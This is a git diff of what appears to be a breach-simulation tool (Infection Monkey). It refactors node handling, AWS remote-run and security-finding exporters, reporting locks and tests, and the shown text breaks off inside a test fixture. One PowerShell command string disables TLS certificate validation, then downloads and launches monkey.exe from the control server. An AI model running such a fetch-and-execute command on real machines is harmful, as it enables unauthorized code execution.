@staticmethod def unset_all_monkey_tunnels(monkey_id): mongo.db.monkey.update( @@ -215,6 +220,49 @@ class NodeService: }) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) + @staticmethod + def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): + new_node_insert_result = mongo.db.node.insert_one( + { + "ip_addresses": bootloader_telem['ips'], + "domain_name": bootloader_telem['hostname'], + "will_monkey_run": will_monkey_run, + "exploited": False, + "creds": [], + "os": + { + "type": bootloader_telem['system'], + "version": bootloader_telem['os_version'] + } + }) + return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) + + @staticmethod + def get_or_create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool) -> Dict: + if is_local_ips(bootloader_telem['ips']): + raise NodeCreationException("Bootloader ran on island, no need to create new node.") + + new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + # Temporary workaround to not create a node after monkey finishes + monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + if monkey_node: + # Don't create new node, monkey node is already present + return monkey_node + + if new_node is None: + new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run) + if bootloader_telem['tunnel']: + dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel']) + else: + dst_node = NodeService.get_monkey_island_node() + edge = EdgeService.get_or_create_edge(new_node['_id'], dst_node['id']) + mongo.db.edge.update({"_id": edge["_id"]}, + {'$set': {'tunnel': bool(bootloader_telem['tunnel']), + 'ip_address': bootloader_telem['ips'][0], + 'group': NodeStates.get_by_keywords(['island']).value}}, + upsert=False) + return new_node + @staticmethod def get_or_create_node(ip_address, domain_name=''): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) @@ -362,3 +410,6 @@ class NodeService: @staticmethod def get_hostname_by_id(node_id): return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + +class NodeCreationException(Exception): + pass diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index 77b6d95ea..dfaa0e327 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -1,8 +1,7 @@ import logging -from monkey_island.cc.services.config import ConfigService -from common.cloud.aws_instance import AwsInstance -from common.cloud.aws_service import AwsService +from common.cloud.aws.aws_instance import AwsInstance +from common.cloud.aws.aws_service import AwsService from common.cmd.aws.aws_cmd_runner import AwsCmdRunner from common.cmd.cmd import Cmd from common.cmd.cmd_runner import CmdRunner @@ -55,7 +54,7 @@ class RemoteRunAwsService: @staticmethod def is_running_on_aws(): - return RemoteRunAwsService.aws_instance.is_aws_instance() + return RemoteRunAwsService.aws_instance.is_instance() @staticmethod def update_aws_region_authless(): @@ -131,7 +130,8 @@ class RemoteRunAwsService: return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ - r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + r";Start-Process -FilePath '.\\monkey.exe' " \ + r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " @staticmethod def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index b01f349d4..86486b9ba 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -5,7 +5,7 @@ from datetime import datetime import boto3 from botocore.exceptions import UnknownServiceError -from common.cloud.aws_instance import AwsInstance +from common.cloud.aws.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file from monkey_island.cc.services.reporting.exporter import Exporter @@ -107,10 +107,10 @@ class AWSExporter(Exporter): else: return False except UnknownServiceError as e: - logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e.message) + logger.warning('AWS exporter called but AWS-CLI security hub service is not installed. Error: {}'.format(e)) return False except Exception as e: - logger.exception('AWS security hub findings failed to send. Error: ' + e.message) + logger.exception('AWS security hub findings failed to send. Error: {}'.format(e)) return False @staticmethod @@ -148,8 +148,8 @@ class AWSExporter(Exporter): severity=5, title="Weak segmentation - Machines were able to communicate over unused ports.", description="Use micro-segmentation policies to disable communication other than the required.", - recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']), + recommendation="Machines are not locked down at port level. " + "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -160,10 +160,12 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=10, title="Samba servers are vulnerable to 'SambaCry'", - description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0} password to a complex one-use password that is not shared with other computers on the " + "network. Update your Samba server to 4.4.14 and up, " + "4.5.10 and up, or 4.6.4 and up.".format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB " + "protocol with user {2} and its password, and used the SambaCry " + "vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -174,10 +176,10 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=5, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over " + "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -188,10 +190,11 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH" + " protocol with user {2} and its " + "password.".format(issue['machine'], issue['ip_address'], issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -203,8 +206,11 @@ class AWSExporter(Exporter): severity=1, title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated " + "over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], + ip_address=issue['ip_address'], + ssh_key=issue['ssh_key']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -216,8 +222,10 @@ class AWSExporter(Exporter): severity=10, title="Elastic Search servers are vulnerable to CVE-2015-1427", description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], issue['ip_address']), + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made " + "possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], + issue['ip_address']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -228,13 +236,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Weak segmentation - Machines from different segments are able to communicate.", - description="Segment your network and make sure there is no communication between machines from different segments.", + description="Segment your network and make sure there is no communication between machines from different " + "segments.", recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], - issue[ - 'server_networks']), + issue['server_networks']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -259,8 +267,9 @@ class AWSExporter(Exporter): title="Machines are vulnerable to 'Shellshock'", description="Update your Bash to a ShellShock-patched version.", recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " + "shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -271,10 +280,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB " + "protocol with user {2} and its password.".format( + issue['machine'], + issue['ip_address'], + issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -285,9 +297,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", - recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.", + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " + "the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], + ip_address=issue['ip_address'], + username=issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -298,10 +314,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " + "pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], + ip_address=issue['ip_address'], + username=issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -325,9 +344,10 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Shared local administrator account - Different machines have the same account as a local administrator.", - description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", - recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( - username=issue['username'], shared_machines=issue['shared_machines']), + description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t " + "an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is defined as an administrator: " + "{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -339,8 +359,9 @@ class AWSExporter(Exporter): severity=1, title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", description="This critical machine is open to attacks via strong users with access to it.", - recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']), + recommendation="The services: {services} have been found on the machine thus classifying it as a critical " + "machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -353,8 +374,8 @@ class AWSExporter(Exporter): title="Struts2 servers are vulnerable to remote code execution.", description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( - machine=issue['machine'], ip_address=issue['ip_address']), + "The attack was made possible because the server is using an old version of Jakarta based file " + "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -365,11 +386,11 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=10, title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest version. " \ + description="Install Oracle critical patch updates. Or update to the latest version. " "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( - machine=issue['machine'], ip_address=issue['ip_address']), + "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware " + "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index f64d4b4aa..903af1628 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.environment.environment import env + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index 9f3b9769f..ecb209c69 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -30,7 +30,6 @@ class PTHReportService(object): } """ - pipeline = [ {"$match": { 'NTLM_secret': { @@ -55,7 +54,7 @@ class PTHReportService(object): :param admin_on_machines: A list of "monkey" documents "_id"s :param domain_name: The admins' domain name :return: - A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. + A list of formatted machines names *domain*/*hostname*, to use in shared admins issues. """ machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) return [domain_name + '\\' + i['hostname'] for i in list(machines)] @@ -108,7 +107,7 @@ class PTHReportService(object): 'username': user['name'], 'domain_name': user['domain_name'], 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None - } for user in doc['Docs'] + } for user in doc['Docs'] ] users_cred_groups.append({'cred_groups': users_list}) @@ -144,7 +143,8 @@ class PTHReportService(object): { 'name': admin['name'], 'domain_name': admin['domain_name'], - 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name']) + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], + admin['domain_name']) } for admin in admins ] @@ -153,11 +153,11 @@ class PTHReportService(object): admins_info = PTHReportService.get_shared_admins_nodes() return [ { - 'is_local': False, - 'type': 'shared_admins_domain', - 'machine': admin['domain_name'], - 'username': admin['domain_name'] + '\\' + admin['name'], - 'shared_machines': admin['admin_on_machines'], + 'is_local': False, + 'type': 'shared_admins_domain', + 'machine': admin['domain_name'], + 'username': admin['domain_name'] + '\\' + admin['name'], + 'shared_machines': admin['admin_on_machines'], } for admin in admins_info] @@ -217,7 +217,7 @@ class PTHReportService(object): @staticmethod def generate_map_nodes(): - monkeys = filter(lambda m: m.get_os() == "windows", Monkey.objects()) + monkeys = [m for m in Monkey.objects() if m.get_os() == "windows"] return [ { @@ -262,7 +262,7 @@ class PTHReportService(object): return { 'nodes': PTHReportService.generate_map_nodes(), 'edges': PTHReportService.generate_edges() - } + } @staticmethod def get_report(): @@ -283,4 +283,3 @@ class PTHReportService(object): } return report - diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 0d2b6858d..f2c763d23 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -5,7 +5,6 @@ import logging import ipaddress from bson import json_util from enum import Enum -from six import text_type from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst @@ -13,7 +12,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups -from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager @@ -388,15 +386,16 @@ class ReportService: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {'telem_category': 'system_info', 'monkey_guid': monkey_guid}, + {'telem_category': 'system_info', + 'monkey_guid': monkey_guid}, {'data.network_info.networks': 1} ) - if network_info is None: + if network_info is None or not network_info["data"]: return [] return \ [ - ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network + ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network for network in network_info['data']['network_info']['networks'] ] @@ -409,7 +408,7 @@ class ReportService: monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) for subnet in monkey_subnets: for ip in island_ips: - if ipaddress.ip_address(text_type(ip)) in subnet: + if ipaddress.ip_address(str(ip)) in subnet: found_good_ip = True break if found_good_ip: @@ -438,7 +437,7 @@ class ReportService: ip_in_src = None ip_in_dst = None for ip_addr in monkey['ip_addresses']: - if source_subnet_range.is_in_range(text_type(ip_addr)): + if source_subnet_range.is_in_range(str(ip_addr)): ip_in_src = ip_addr break @@ -447,7 +446,7 @@ class ReportService: continue for ip_addr in monkey['ip_addresses']: - if target_subnet_range.is_in_range(text_type(ip_addr)): + if target_subnet_range.is_in_range(str(ip_addr)): ip_in_dst = ip_addr break @@ -483,7 +482,7 @@ class ReportService: scans.rewind() # If we iterated over scans already we need to rewind. for scan in scans: target_ip = scan['data']['machine']['ip_addr'] - if target_subnet_range.is_in_range(text_type(target_ip)): + if target_subnet_range.is_in_range(str(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], source_subnet_range, @@ -774,6 +773,16 @@ class ReportService: return False + @staticmethod + def delete_saved_report_if_exists(): + """ + This function clears the saved report from the DB. + :raises RuntimeError if deletion failed + """ + delete_result = mongo.db.report.delete_many({}) + if mongo.db.report.count_documents({}) != 0: + raise RuntimeError("Report cache not cleared. DeleteResult: " + delete_result.raw_result) + @staticmethod def decode_dot_char_before_mongo_insert(report_dict): """ diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index c934618db..865556b0d 100644 --- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -14,9 +14,7 @@ class Singleton(type): return cls._instances[cls] -class ReportExporterManager(object): - __metaclass__ = Singleton - +class ReportExporterManager(object, metaclass=Singleton): def __init__(self): self._exporters_set = set() @@ -32,4 +30,4 @@ class ReportExporterManager(object): try: exporter().handle_report(report) except Exception as e: - logger.exception('Failed to export report, error: ' + e.message) + logger.exception('Failed to export report, error: ' + e) diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py index 9025ff68f..1a041bb3b 100644 --- a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py +++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py @@ -15,28 +15,34 @@ __regular_report_generating_lock = threading.Semaphore() def safe_generate_reports(): # Entering the critical section; Wait until report generation is available. __report_generating_lock.acquire() - report = safe_generate_regular_report() - attack_report = safe_generate_attack_report() - # Leaving the critical section. - __report_generating_lock.release() + try: + report = safe_generate_regular_report() + attack_report = safe_generate_attack_report() + finally: + # Leaving the critical section. + __report_generating_lock.release() return report, attack_report def safe_generate_regular_report(): # Local import to avoid circular imports from monkey_island.cc.services.reporting.report import ReportService - __regular_report_generating_lock.acquire() - report = ReportService.generate_report() - __regular_report_generating_lock.release() + try: + __regular_report_generating_lock.acquire() + report = ReportService.generate_report() + finally: + __regular_report_generating_lock.release() return report def safe_generate_attack_report(): # Local import to avoid circular imports from monkey_island.cc.services.attack.attack_report import AttackReportService - __attack_report_generating_lock.acquire() - attack_report = AttackReportService.generate_new_report() - __attack_report_generating_lock.release() + try: + __attack_report_generating_lock.acquire() + attack_report = AttackReportService.generate_new_report() + finally: + __attack_report_generating_lock.release() return attack_report diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py index f934f50ab..b5a628fb1 100644 --- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py @@ -40,7 +40,7 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase): map_nodes = PTHReportService.generate_map_nodes() - self.assertEquals(2, len(map_nodes)) + self.assertEqual(2, len(map_nodes)) def test_generate_map_nodes_parsing(self): self.fail_if_not_testing_env() @@ -59,11 +59,8 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase): map_nodes = PTHReportService.generate_map_nodes() - self.assertEquals(map_nodes[0]["id"], monkey_id) - self.assertEquals(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1") - self.assertEquals(map_nodes[0]["group"], "critical") - self.assertEquals(len(map_nodes[0]["services"]), 2) - self.assertEquals(map_nodes[0]["hostname"], hostname) - - - + self.assertEqual(map_nodes[0]["id"], monkey_id) + self.assertEqual(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1") + self.assertEqual(map_nodes[0]["group"], "critical") + self.assertEqual(len(map_nodes[0]["services"]), 2) + self.assertEqual(map_nodes[0]["hostname"], hostname) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 46b4fefd7..328be2e00 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -1,38 +1,197 @@ -from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService - -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService from monkey_island.cc.testing.IslandTestCase import IslandTestCase +EXPECTED_DICT = { + zero_trust_consts.AUTOMATION_ORCHESTRATION: [], + zero_trust_consts.DATA: [ + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_DATA_TRANSIT], + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + { + "status": zero_trust_consts.STATUS_FAILED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_DATA_ENDPOINT_HTTP][zero_trust_consts.TEST_EXPLANATION_KEY] + }, + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC][zero_trust_consts.TEST_EXPLANATION_KEY] + }, + ] + } + ], + zero_trust_consts.DEVICES: [ + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ENDPOINT_SECURITY], + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_MACHINE_EXPLOITED][zero_trust_consts.TEST_EXPLANATION_KEY] + }, + { + "status": zero_trust_consts.STATUS_FAILED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS][zero_trust_consts.TEST_EXPLANATION_KEY] + }, + ] + } + ], + zero_trust_consts.NETWORKS: [ + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_SEGMENTATION], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SEGMENTATION][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], + "status": zero_trust_consts.STATUS_VERIFY, + "tests": [ + { + "status": zero_trust_consts.STATUS_VERIFY, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + ], + zero_trust_consts.PEOPLE: [ + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], + "status": zero_trust_consts.STATUS_VERIFY, + "tests": [ + { + "status": zero_trust_consts.STATUS_VERIFY, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + } + ], + zero_trust_consts.VISIBILITY_ANALYTICS: [ + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": 